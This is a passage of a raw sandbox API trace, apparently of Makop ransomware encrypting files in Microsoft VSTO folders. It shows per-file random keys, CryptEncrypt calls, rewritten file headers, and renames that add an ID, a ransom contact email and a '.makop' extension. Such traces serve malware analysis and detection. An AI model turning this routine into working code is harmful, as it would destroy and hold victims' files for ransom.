cAlternateFileName="")) returned 1 [0103.056] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0103.056] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0103.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0103.057] GetProcessHeap () returned 0x48a0000 [0103.057] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.057] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0103.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0103.058] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.058] GetProcessHeap () returned 0x48a0000 [0103.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0103.058] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6574590*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6574590*=0x50) returned 1 [0103.058] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0103.058] WriteFile (in: hFile=0x114, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x65745a8*=0x50, lpOverlapped=0x0) returned 1 [0103.062] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0103.062] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0103.063] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0103.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0103.063] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0103.063] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0103.063] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.063] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2760, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x2760, lpOverlapped=0x0) returned 1 [0103.065] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x2760, dwBufLen=0x2760 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x2760) returned 1 [0103.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.065] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2760, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x2760, lpOverlapped=0x0) returned 1 [0103.065] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0103.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.065] SetEndOfFile (hFile=0x114) returned 1 [0103.072] GetProcessHeap () returned 0x48a0000 [0103.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0103.072] GetProcessHeap () returned 0x48a0000 [0103.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.072] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0103.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.074] CloseHandle (hObject=0x114) returned 1 [0103.075] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0103.075] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0103.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0103.077] GetProcessHeap () returned 0x48a0000 [0103.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.077] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0103.077] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0103.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0103.081] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.081] GetProcessHeap () returned 0x48a0000 [0103.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.082] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0103.082] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0103.082] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0103.082] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0103.083] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0103.083] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0103.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0103.083] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0103.083] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0103.083] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.083] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x4758, lpOverlapped=0x0) returned 1 [0103.085] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x4760, dwBufLen=0x4760 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x4760) returned 1 [0103.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.085] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x4760, lpOverlapped=0x0) returned 1 [0103.085] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0103.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.086] SetEndOfFile (hFile=0x114) returned 1 [0103.092] GetProcessHeap () returned 0x48a0000 [0103.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.092] GetProcessHeap () returned 0x48a0000 [0103.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.092] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0103.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.095] CloseHandle (hObject=0x114) returned 1 [0103.095] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0103.095] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0103.095] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0103.095] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0103.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.100] GetProcessHeap () returned 0x48a0000 [0103.100] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.100] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.100] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0103.101] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0103.104] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.105] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.105] GetProcessHeap () returned 0x48a0000 [0103.105] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0103.105] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6576010*=0x50) returned 1 [0103.105] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.105] WriteFile (in: hFile=0x138, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6576028*=0x50, lpOverlapped=0x0) returned 1 [0103.105] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0103.105] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0103.105] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0103.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0103.106] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0103.106] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.106] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.106] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.106] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2cc, lpOverlapped=0x0) returned 1 [0103.106] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2d0) returned 1 [0103.106] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.106] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2d0, lpOverlapped=0x0) returned 1 [0103.106] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.106] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.107] SetEndOfFile (hFile=0x138) returned 1 [0103.113] GetProcessHeap () returned 0x48a0000 [0103.113] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0103.114] GetProcessHeap () returned 0x48a0000 [0103.114] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.114] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0103.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.115] CloseHandle (hObject=0x138) returned 1 [0103.115] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0103.115] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0103.116] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0103.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.117] GetProcessHeap () returned 0x48a0000 [0103.118] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.118] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.118] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0103.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.118] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.118] GetProcessHeap () returned 0x48a0000 [0103.118] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.118] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0103.118] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.118] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0103.122] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0103.122] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0103.122] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0103.123] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0103.123] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0103.123] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.123] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.123] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.123] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5e950, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x5e950, lpOverlapped=0x0) returned 1 [0103.132] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5e950, dwBufLen=0x5e950 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5e950) returned 1 [0103.136] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.136] WriteFile (in: 